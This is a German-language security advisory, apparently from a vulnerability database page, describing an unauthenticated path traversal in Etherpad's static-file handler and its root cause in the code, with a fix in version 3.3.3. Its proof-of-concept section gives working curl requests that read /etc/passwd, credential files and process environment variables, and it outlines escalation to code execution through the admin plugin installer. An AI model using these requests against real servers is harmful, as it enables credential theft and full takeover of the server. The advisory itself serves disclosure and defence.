Kritisch

Etherpad: Vorauthentifizierter beliebiger Dateizugriff

  • Veröffentlicht: 20.11.2026
  • Aktualisiert: 21.11.2026 10:00

Zusammenfassung

Eine Sicherheitslücke bezüglich Pfadüberquerung (Path Traversal) und dem Lesen beliebiger Dateien im /static/*-Handler von Etherpad ermöglicht es jedem entfernten, nicht authentifizierten Benutzer, jede Datei im Dateisystem des Servers zu lesen (z. B. liefert GET /static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cetc/passwd die Datei /etc/passwd), auf die der Benutzerprozess von Etherpad zugreifen kann. Da der Endpunkt vor der Authentifizierungs-Middleware eingebunden ist, sind weder Anmeldedaten, eine Sitzung noch Konfigurationsänderungen erforderlich. Dieses Lese-Primitiv kann zur vollständigen Kompromittierung des Servers führen: In einer typischen Installation durch Offenlegung von settings.json / credentials.json / /proc/self/environ, welche das Administratorpasswort enthalten, wodurch ein Angreifer eine Administratorsitzung und über das Installationsprogramm für Administrator-Plugins eine Remotecodeausführung erlangen kann.

Details

Etherpad stellt statische Plugin-Ressourcen über src/node/utils/Minify.ts bereit. Der Pfad der Anfrage wird zunächst an den Bereinigungsmechanismus src/node/utils/sanitizePathname.ts übergeben, der Backslashes nur unter Windows in Schrägstriche umwandelt:

// src/node/utils/sanitizePathname.ts:11-20
p = pathApi.normalize(p);
if (pathApi.isAbsolute(p)) throw new Error(`absolute paths are forbidden: ${p}`);
if (p.split(pathApi.sep)[0] === '..') throw new Error(`directory traversal: ${p}`);
// THIS CONVERSION MUST ONLY BE DONE ON WINDOWS, otherwise on POSIXish systems '..\\' in the input
// pathname would not be normalized away before being converted to '../'.
if (pathApi.sep === '\\') p = p.replace(/\\/g, '/');

Unter Linux ist ein Backslash ein normales Dateinamen-Byte, sodass ein Eingabesegment wie ..\..\..\test keine ./..-Pfadkomponenten enthält und alle Überprüfungen in sanitizePathname unverändert besteht. Die Testsuite des Projekts bestätigt dies: In src/tests/backend-new/specs/sanitizePathname.ts:62 wird ['posix', '..\\foo'] unter den akzeptierten (unverändert zurückgegebenen) Pfaden aufgeführt.

Die Sicherheitslücke besteht darin, dass Minify.ts diese Windows-spezifische Konvertierung nach der Bereinigung bedingungslos durchführt, begründet durch einen Kommentar, der das Gegenteil der obigen Invariante behauptet:

// src/node/utils/Minify.ts:171-186
const match = filename.match(/^plugins\/([^/]+)(\/(?:(static\/.*)|.*))?$/);
if (match) {
const library = match[1];
const libraryPath = match[2] || '';
if (plugins.plugins[library] && match[3]) {
const plugin = plugins.plugins[library];
const pluginPath = plugin.package.realPath;      // for 'ep_etherpad-lite' == <root>/src
filename = path.join(pluginPath, libraryPath);   // -> absolute path, backslashes preserved
// ... "This conversion does not introduce a directory
// traversal vulnerability because all '..\\' substrings have already been removed by
// sanitizePathname."                              // <-- FALSE on POSIX
filename = filename.replace(/\\/g, '/');          // <-- reintroduces ../ AFTER the check
}

Nach Zeile 186 wird die Zeichenkette zu einer tatsächlichen Pfadüberquerung (<root>/src/static/../../../../etc/passwd), ohne dass vor den Dateisystemaufrufen in Minify.ts:248 (fs.stat) und Minify.ts:315 (fs.readFile) eine erneute Normalisierung oder Eingrenzung erfolgt. Da path.join in Zeile 179 einen absoluten Pfad erzeugt, verwirft path.resolve(ROOT_DIR, filename) das Verzeichnis ROOT_DIR vollständig, und POSIX-path.resolve reduziert überzählige .. auf /, wodurch der Payload unabhängig von der Root-Tiefe funktioniert.

Die Route ist vor der Authentifizierung erreichbar. Sie ist am Hook expressPreSession registriert:

// src/ep.json
{ "name": "static", "hooks": { "expressPreSession": "ep_etherpad-lite/node/hooks/express/static" } }
// src/node/hooks/express/static.ts:38
app.all('/static/*filename', minify);

und expressPreSession wird vor der Authentifizierungs-Middleware ausgeführt:

// src/node/hooks/express.ts:244-247
await hooks.aCallAll('expressPreSession', {app, settings});   // static route registered here
app.use(exports.sessionMiddleware);
app.use(webaccess.checkAccess);                                // auth runs AFTER

Der Plugin-Zweig wird immer gewählt, da src/static/js/pluginfw/plugins.ts:153-158 das Kern-Pseudoplugin ep_etherpad-lite bedingungslos mit package.realPath = <root>/src registriert.

Zwei Fakten bei der Dekodierung machen den Exploit funktionsfähig: Express 5 / path-to-regexp v8 dekodiert Wildcard-Parameter einmal pro Segment ((v) => v.split('/').map(decodeURIComponent)), sodass req.params.filename.join('/') (Minify.ts:147) den einfach dekodierten Pfad an die Bereinigung liefert, und %5C (kodierter Backslash) das einzige funktionierende Trennzeichen darstellt (%2F wird zu / dekodiert, erneut getrennt und von der Prüfung split('/')[ 0 ] === '..' abgewiesen).

PoC

Gilt für eine Standard-Produktionsumgebung (keine spezielle Konfiguration; funktioniert unter Linux, z. B. im Docker-Image oder einer systemd-Quellinstallation). Ersetzen Sie TARGET:9001 durch die Zielinstanz.

  1. Lesen von /etc/passwd (oder jeder beliebigen Datei) ohne Authentifizierung. --path-as-is verhindert, dass der Client die Traversierung zusammenfaltet:
bash
curl --path-as-is \
'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cetc/passwd'

Weitere lohnende Leseoperationen (ein Überschreiten der ..-Tiefe wird bei / abgefangen):

Administratorpasswort + Geheimnisse, pfadunabhängig über /proc/self/cwd:

bash
curl --path-as-is 'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/cwd/settings.json'
curl --path-as-is
'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/cwd/credentials.json'

Bei docker-compose-Bereitstellungen ist das Administratorpasswort eine Umgebungsvariable: curl --path-as-is 'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/environ'

Jede Antwort liefert die Rohdaten der Datei (mit einem unschädlichen Header Content-Type: false für Ziele ohne Dateiendung; Node konvertiert den Wert und wirft keinen Fehler).

  1. Eskalation zu RCE. Gewinnen Sie die Administrator-Anmeldedaten aus den in Schritt 1 gelesenen Dateien und führen Sie Folgendes aus:

Erstellen einer Administratorsitzung:

bash
curl -i -X POST 'http://TARGET:9001/admin-auth/' \
-H "Authorization: Basic $(printf 'admin:PASSWORD' | base64)"
# -> 200 + Set-Cookie: <prefix>express_sid=...

Verbinden Sie sich unter Verwendung dieses express_sid-Cookies mit dem Socket.IO-Namespace /pluginfw/installer (nur durch session.user.is_admin geschützt, src/node/hooks/express/adminplugins.ts:22) und senden Sie install für ein vom Angreifer kontrolliertes ep_*-Plugin. Etherpad lädt den Code des Plugins prozessintern mittels require() während plugins.update() (src/static/js/pluginfw/shared.ts:30), wodurch beliebiger Code als der Etherpad-Benutzer ausgeführt wird.

Auswirkungen

  • Typ: Unzureichende Pfadbeschränkung → nicht authentifiziertes Lesen beliebiger Dateien, mit Potenzial zur Remotecodeausführung.
  • Erforderlicher Zugriff: Keiner. Die anfällige Route wird vor der Authentifizierungs-/Autorisierungs-Middleware bedient und ist somit von jedem Client ausnutzbar, der den HTTP-Port erreichen kann, unabhängig von requireAuthentication, requireAuthorization oder Benutzerkonfigurationen.
  • Zugriffsumfang: Jede Datei, die für den Etherpad-Prozessbenutzer lesbar ist, einschließlich settings.json/credentials.json (Administratorpasswort, sessionKey, Datenbank-Anmeldedaten, SSO-Client-Geheimnisse), /proc/self/environ (über Umgebungsvariablen bereitgestellte Geheimnisse wie ADMIN_PASSWORD, DB_PASS), die Pad-Datenbank, private TLS-Schlüssel und Betriebssystemdateien wie /etc/passwd.
  • Eskalation: Das offengelegte Administratorpasswort liefert eine Administratorsitzung; das Installationsprogramm für Administrator-Plugins ermöglicht anschließend die prozessinterne Codeausführung (vollständige Serverübernahme). Selbst ohne Plugin-Schritt ermöglicht der Administratorzugriff das Neuschreiben der Konfiguration (saveSettings + restartServer) und das Extrahieren gespeicherter Daten.
  • Betroffene Systeme: Alle Betreiber betroffener Versionen, insbesondere solche, die Etherpad direkt in nicht vertrauenswürdigen Netzwerken exponieren. Ein Reverse-Proxy schützt nicht davor, da die Pfadüberquerung %5C verwendet, was von Proxys unverändert weitergeleitet wird.

Was zu tun ist

Aktualisieren Sie ep_etherpad-lite auf Version 3.3.3 oder höher.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
npm-Paket ep_etherpad-lite >= 1.8.14, < 3.3.3 3.3.3

Verweise

CVSS-Wert 9.8/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Schwäche (CWE)
CWE-200, CWE-22, CWE-306
Plattform
npm
Paket
ep_etherpad-lite
Veröffentlicht
20.11.2026
Aktualisiert
21.11.2026 10:00

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - GHSA-mc8w-wjhw-45x5 - CC BY 4.0

Schwachstellenhistorie: ep_etherpad-lite

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt
7
Erste → letzte
05.2022 11.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 2
  • Hoch 1
  • Mittel 4

Veröffentlichungen pro Jahr

  1. 2022: 1
  2. 2023: 0
  3. 2024: 0
  4. 2025: 0
  5. 2026: 6
  1. Etherpad: Vorauthentifizierter beliebiger Dateizugriff dieser Eintrag
    Kritisch · 9.8 CVE-2026-114516 >= 1.8.14, < 3.3.3 3.3.3
  2. Kritisch · 9.8 CVE-2018-6835 < 1.6.3 1.6.3

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.